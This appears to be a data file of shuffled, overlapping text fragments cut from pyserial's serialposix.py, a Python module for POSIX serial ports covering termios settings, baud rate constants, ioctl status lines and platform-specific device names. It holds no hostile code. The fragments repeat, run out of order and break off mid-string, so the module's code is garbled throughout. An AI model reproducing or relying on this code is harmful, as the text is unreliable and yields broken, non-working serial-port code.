\"the platform specifc implementation and the base # for file-like behavior. for Python\",\n \"port is nonexistent but has a /dev file, it'll fail here raise SerialException(\\\"Could\",\n \"== 8: cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif\",\n \"TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform specific\",\n \"'/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD 1.6\",\n \"before it can be used.\\\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except\",\n \"to read. if not ready: break # timeout buf = os.read(self.fd, size-len(read)) #\",\n \"to set custom baud rate: %r' % baudrate) baudrate_constants = { 0: 0000000,\",\n \"# Do check the Python version as some constants have moved. if (sys.hexversion\",\n \"parts based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html\",\n \"timeout is set, use select to wait for being ready # with the\",\n \"don't know how to handle non standard baud rate on this platform\\\") baudrate_constants\",\n \"TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE =\",\n \"TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7] / baudrate # update\",\n \"like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with current settings. This may throw a\",\n \"terminal status line: Request To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if\",\n \"is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break condition. Timed,\",\n \"struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform specific - - -\",\n \"v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data)\",\n \"VERSION)) # no exception, just continue with a brave attempt to build a\",\n \"with the time left as timeout timeleft = timeout - time.time() if timeleft\",\n \"read when we get to this point. if not buf: # Disconnected devices,\",\n \"read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial port. If a timeout is\",\n \"0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012,\",\n \"but has a /dev file, it'll fail here raise SerialException(\\\"Could not configure port:\",\n \"- - - - - - def inWaiting(self): \\\"\\\"\\\"Return the number of characters\",\n \"number of bytes is read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read =\",\n \"size-len(read)) # read should always return some data as select reported it was\",\n \"def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"def getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\" if self.fd is None: raise\",\n \"\\\"\\\"\\\"Set break: Controls TXD. When active, no transmitting is possible.\\\"\\\"\\\" if self.fd is\",\n \"portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0:\",\n \"ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used with a timeout, and\",\n \"TXD. When active, no transmitting is possible.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"XXX should there be a warning if setting up rtscts (and xonxoff etc)\",\n \"nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL,\",\n \"and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS\",\n \"a port is nonexistent but has a /dev file, it'll fail here raise\",\n \"TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \\\"\\\"\\\"Read terminal status\",\n \"Serial class with the platform specifc implementation and the base # for file-like\",\n \"self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits\",\n \"if custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen:\",\n \"# enable parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set\",\n \"that is in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH)\",\n \"= array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set\",\n \"and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class\",\n \"57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600:\",\n \"0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0)\",\n \"elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r'\",\n \"flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY)\",\n \"self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\"\",\n \"that is in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH)\",\n \"baud rate on this platform\\\") baudrate_constants = {} elif plat[:2] == 'hp': #\",\n \"s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] #\",\n \"ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: # if a port\",\n \"# Tiger or above can support arbitrary serial speeds if int(version[0]) >= 8:\",\n \"information to ! the author of this module: sys.platform = %r os.name =\",\n \"\\\"\\\"\\\"Flush of file like objects. In this case, wait until all data is\",\n \"= baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate) #\",\n \"a timeout value, None for waiting forever xonxoff=0, # enable software flow control\",\n \"1 vtime = int(self._interCharTimeout * 10) try: iflag, oflag, cflag, lflag, ispeed, ospeed,\",\n \"# parts based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references:\",\n \"vmin # vtime if vtime < 0 or vtime > 255: raise ValueError('Invalid\",\n \"the counting starts for the first serial port. e.g. 'first serial port: /dev/ttyS0'\",\n \"we don't care if it is select.POLLIN or timeout, that's # handled below\",\n \"2001-2010 <NAME> <<EMAIL>> # this is distributed under a free software license, see\",\n \"Win32, Linux, BSD, Jython # module for serial IO for POSIX compatible systems,\",\n \"AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't\",\n \"not correct for the platform it has chances # to work using a\",\n \"0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD')\",\n \"|= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity:\",\n \"char len: %r' % self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag\",\n \"len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select was used with\",\n \"in the input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd,\",\n \"\\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug # wait until device becomes ready to read\",\n \"TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST =\",\n \".serialutil import * # Do check the Python version as some constants have\",\n \"and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD\",\n \"raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size >\",\n \"fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal status line: Clear To Send\\\"\\\"\\\" if\",\n \"except Exception as msg: self.fd = None raise SerialException(\\\"could not open port %s:\",\n \"cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if setting up\",\n \"timeleft) if not ready: raise writeTimeoutError d = d[n:] t = t -\",\n \"on Linux and many other Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with\",\n \"but returned no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \\\"\\\"\\\"Output\",\n \"struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427 TIOCCBRK = hasattr(TERMIOS,\",\n \"self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD:\",\n \"== '__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of\",\n \"and newer, that provide the new I/O # library, derrive from io.RawIOBase try:\",\n \"portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \\\"\\\"\\\"For\",\n \"'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if\",\n \"> 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate\",\n \"fails?? # buffer # vmin \\\"minimal number of characters to be read. =\",\n \"False def makeDeviceName(self, port): return device(port) # - - - - - -\",\n \"moved. if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS = termios if (sys.hexversion\",\n \"# Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST\",\n \"open(self): \\\"\\\"\\\"Open port with current settings. This may throw a SerialException if the\",\n \"in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &=\",\n \"handled below buf = os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not\",\n \"or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS,\",\n \"0) or (self._interCharTimeout is not None and self._interCharTimeout > 0)) and not buf:\",\n \"TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and\",\n \"getDSR(self): \\\"\\\"\\\"Read terminal status line: Data Set Ready\\\"\\\"\\\" if self.fd is None: raise\",\n \"~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if setting up rtscts (and\",\n \"# early abort on timeout return bytes(read) if __name__ == '__main__': s =\",\n \"newer, that provide the new I/O # library, derrive from io.RawIOBase try: import\",\n \"control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\\\n' % s.read(5)) sys.stdout.write('%s\\\\n' % s.inWaiting())\",\n \"def device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] == 'netbsd':\",\n \"~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK\",\n \"self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag\",\n \"freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"some data as select reported it was # ready to read when we\",\n \"def fileno(self): \\\"\\\"\\\"For easier use of the serial port instance with select. WARNING:\",\n \"import sys, os, fcntl, termios, struct, select, errno, time from .serialutil import *\",\n \"not None and self._interCharTimeout > 0)) and not buf: break # early abort\",\n \"TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG =\",\n \"TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform specifc implementation\",\n \"if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd = None self._isOpen =\",\n \"== 'bsd' or \\\\ plat[:7] == 'freebsd' or \\\\ plat[:7] == 'openbsd': #\",\n \"#_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8 def\",\n \"s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\\\n' % s.read(5)) sys.stdout.write('%s\\\\n' % s.inWaiting()) del s\",\n \"ispeed, ospeed, cc]) # apply custom baud rate, if any if custom_baud is\",\n \"Python Serial Port Extension for Win32, Linux, BSD, Jython # module for serial\",\n \"ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl, termios, struct, select, errno,\",\n \"% (port+1) #XXX different device names depending on flow control def set_special_baudrate(port, baudrate):\",\n \"TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and\",\n \"rtscts (and xonxoff etc) fails?? # buffer # vmin \\\"minimal number of characters\",\n \"0 def getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\" if self.fd is None:\",\n \"timeout, that's # handled below buf = os.read(self.fd, size - len(read)) read.extend(buf) if\",\n \"plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def\",\n \"38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000:\",\n \"and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1\",\n \"# timeout buf = os.read(self.fd, size-len(read)) # read should always return some data\",\n \"and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str\",\n \"\\\"\\\"\\\"Open port with current settings. This may throw a SerialException if the port\",\n \"Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST =\",\n \"break # early abort on timeout return bytes(read) if __name__ == '__main__': s\",\n \"plat[:5] == 'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK\",\n \"serial port instance with select. WARNING: this function is not portable to different\",\n \"Do check the Python version as some constants have moved. if (sys.hexversion <\",\n \"'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or 0x541B\",\n \"TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS, 'TIOCSBRK') and TERMIOS.TIOCSBRK or 0x5427\",\n \"and many other Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with current settings.\",\n \"software flow control rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput()\",\n \"== STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) #\",\n \"== PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag\",\n \"read.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError read = bytearray() while len(read) <\",\n \"is nonexistent but has a /dev file, it'll fail here raise SerialException(\\\"Could not\",\n \"'aix': # AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise\",\n \"cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD)\",\n \"cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it\",\n \"buf[6] = buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |=\",\n \"def makeDeviceName(self, port): return device(port) # - - - - - - -\",\n \"with select. WARNING: this function is not portable to different platforms!\\\"\\\"\\\" if self.fd\",\n \"= None while t > 0: try: n = os.write(self.fd, d) if timeout:\",\n \"try: custom_baud = int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid baud\",\n \"fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform\",\n \"PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |=\",\n \"buffer, discarding all that is in the buffer.\\\"\\\"\\\" if self.fd is None: raise\",\n \"&= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for\",\n \"self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else: timeout = None while\",\n \"baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable\",\n \"not None and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout else: timeout\",\n \"(not tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"values from TERMIOS, use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and\",\n \"handling of errors, such as a device disconnecting while it's in use (e.g.\",\n \"0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS')\",\n \"while t > 0: try: n = os.write(self.fd, d) if timeout: # when\",\n \"file like objects. In this case, wait until all data is written.\\\"\\\"\\\" self.drainOutput()\",\n \"raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD. When active,\",\n \"lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround\",\n \"select, errno, time from .serialutil import * # Do check the Python version\",\n \"return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"up with \\\"aix\\\", \\\"beos\\\", .... # they should work, just need to know\",\n \"rate, if any if custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close\",\n \"if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif\",\n \"fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \\\"\\\"\\\"Read terminal\",\n \"know the device names. # load some constants for later use. # try\",\n \"= %r os.name = %r serialposix.py version = %s also add the device\",\n \"ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try: ispeed =\",\n \"#TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and\",\n \"if self.fd is None: raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd,\",\n \"TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\" if self.fd\",\n \"#TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and\",\n \"is not None and self._interCharTimeout > 0)) and not buf: break # early\",\n \"when timeout is set, use select to wait for being ready # with\",\n \"device can be selected... # this code block should supply a device() and\",\n \"/ baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set\",\n \"enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform\",\n \"from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys, os, fcntl,\",\n \"= 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version <\",\n \"requested. With no timeout it will block until the requested number of bytes\",\n \"forever xonxoff=0, # enable software flow control rtscts=0, # enable RTS/CTS flow control\",\n \"SerialException('device reports error (poll)') # we don't care if it is select.POLLIN or\",\n \"# Disconnected devices, at least on Linux, show the # behavior that they\",\n \"may need custom baud rate, it isn't in our list. ispeed = ospeed\",\n \"self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r'\",\n \"ready, _ = select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError d\",\n \"else: FCNTL = fcntl # try to detect the OS so that a\",\n \"fcntl, termios, struct, select, errno, time from .serialutil import * # Do check\",\n \"None: raise portNotOpenError read = bytearray() poll = select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size\",\n \"- - - - - def inWaiting(self): \\\"\\\"\\\"Return the number of characters currently\",\n \"open port %s: %s\\\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set\",\n \"device name is not correct for the platform it has chances # to\",\n \"is None: raise portNotOpenError return self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control flow -\",\n \"= 0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] * 32)\",\n \"output and discarding all that is in the buffer.\\\"\\\"\\\" if self.fd is None:\",\n \"of the serial port instance with select. WARNING: this function is not portable\",\n \"in use (e.g. USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1): \\\"\\\"\\\"Read size bytes from the\",\n \"{} else: # platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to number\",\n \"{} elif plat[:3] == 'bsd' or \\\\ plat[:7] == 'freebsd' or \\\\ plat[:7]\",\n \"TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR =\",\n \"self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def\",\n \"not portable to different platforms!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError return self.fd\",\n \"and with a bit luck you can get this module running... \\\"\\\"\\\" %\",\n \"Use an explicit path (eg /dev/ttyS1) or send this information to ! the\",\n \"~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO..\",\n \"(TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else:\",\n \"status line: Ring Indicator\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,\",\n \"speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8 def set_special_baudrate(port, baudrate):\",\n \"# get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7]\",\n \"attempt to build a device name # even if the device name is\",\n \"'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004\",\n \"it can be used.\\\") # open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception\",\n \"576000: 0o010006, 921600: 0o010007, 1000000: 0o010010, 1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000:\",\n \"always ready to read immediately # but reading returns nothing. raise SerialException('device reports\",\n \"for later except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if\",\n \"raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self,\",\n \"Carrier Detect\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str)\",\n \"FileLike): pass else: # io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial):\",\n \"this platform, sorry.\\\" # whats up with \\\"aix\\\", \\\"beos\\\", .... # they should\",\n \"ready to read (or something fails) for fd, event in poll.poll(self._timeout*1000): if event\",\n \"if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL = fcntl # try to\",\n \"timeout is done via select if self._interCharTimeout is not None: vmin = 1\",\n \"if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\"\",\n \"Serial Port Extension for Win32, Linux, BSD, Jython # module for serial IO\",\n \"= {} elif plat[:4] == 'irix': # IRIX (partially tested) def device(port): return\",\n \"as port parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise\",\n \"# Python Serial Port Extension for Win32, Linux, BSD, Jython # module for\",\n \"0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010,\",\n \"\\\\ plat[:7] == 'freebsd' or \\\\ plat[:7] == 'openbsd': # BSD (confirmed for\",\n \"to set up high speeds import array, fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED\",\n \"baud rate on this platform\\\") baudrate_constants = {} elif plat == 'openbsd3': #\",\n \"# even if the device name is not correct for the platform it\",\n \"a SerialException if the port cannot be opened.\\\"\\\"\\\" self.fd = None if self._port\",\n \"data if self._writeTimeout is not None and self._writeTimeout > 0: timeout = time.time()\",\n \"flow control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble\",\n \"and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str\",\n \"the number of characters currently in the input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd,\",\n \"vmin < 0 or vmin > 255: raise ValueError('Invalid vmin: %r ' %\",\n \"0 (non-blocking operation) also abort when there # is nothing to read. if\",\n \"input buffer.\\\"\\\"\\\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str)\",\n \"get to this point. if not buf: # Disconnected devices, at least on\",\n \"'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' % port\",\n \"self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' %\",\n \"HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise\",\n \"# enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\\\n' %\",\n \"TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom baud rate: %r' %\",\n \"standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:2] == 'hp':\",\n \"# platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how 